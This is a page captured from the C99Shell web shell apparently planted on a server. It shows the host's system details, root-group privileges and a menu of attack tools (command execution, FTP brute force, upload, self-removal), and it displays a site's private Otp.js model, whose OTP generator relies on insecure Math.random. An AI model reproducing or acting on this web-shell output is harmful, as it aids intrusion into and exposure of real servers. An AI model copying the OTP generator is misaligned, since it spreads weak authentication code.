!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/models/   drwxr-xr-x
Free 25.88 GB of 117.98 GB (21.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Otp.js (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { DataTypes } = require('sequelize');
const { sequelize } = require('../config/database');

const Otp = sequelize.define('Otp', {
  id: {
    type: DataTypes.INTEGER,
    primaryKey: true,
    autoIncrement: true,
  },
  email: {
    type: DataTypes.STRING(255),
    allowNull: false,
    validate: {
      isEmail: true,
    },
  },
  otp_code: {
    type: DataTypes.STRING(6),
    allowNull: false,
  },
  otp_type: {
    type: DataTypes.ENUM('registration', 'password_reset', 'email_change'),
    allowNull: false,
    defaultValue: 'registration',
  },
  expires_at: {
    type: DataTypes.DATE,
    allowNull: false,
  },
  is_used: {
    type: DataTypes.BOOLEAN,
    defaultValue: false,
  },
  attempts: {
    type: DataTypes.INTEGER,
    defaultValue: 0,
  },
  max_attempts: {
    type: DataTypes.INTEGER,
    defaultValue: 3,
  },
}, {
  tableName: 'otps',
  timestamps: true,
  indexes: [
    {
      unique: true,
      fields: ['email', 'otp_type'],
      where: {
        is_used: false,
      },
    },
    {
      fields: ['expires_at'],
    },
  ],
});

// Instance methods
Otp.prototype.isExpired = function() {
  return new Date() > this.expires_at;
};

Otp.prototype.canAttempt = function() {
  return this.attempts < this.max_attempts;
};

Otp.prototype.incrementAttempts = function() {
  this.attempts += 1;
  return this.save();
};

// Class methods
Otp.generateOTP = function(email, type = 'registration') {
  const otp = Math.floor(100000 + Math.random() * 900000).toString();
  const expiresAt = new Date(Date.now() + 10 * 60 * 1000); // 10 minutes

  return this.create({
    email,
    otp_code: otp,
    otp_type: type,
    expires_at: expiresAt,
  });
};

Otp.findValidOTP = function(email, otp, type = 'registration') {
  return this.findOne({
    where: {
      email,
      otp_code: otp,
      otp_type: type,
      is_used: false,
    },
  });
};

Otp.cleanupExpired = function() {
  return this.destroy({
    where: {
      expires_at: {
        [require('sequelize').Op.lt]: new Date(),
      },
    },
  });
};

module.exports = Otp;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--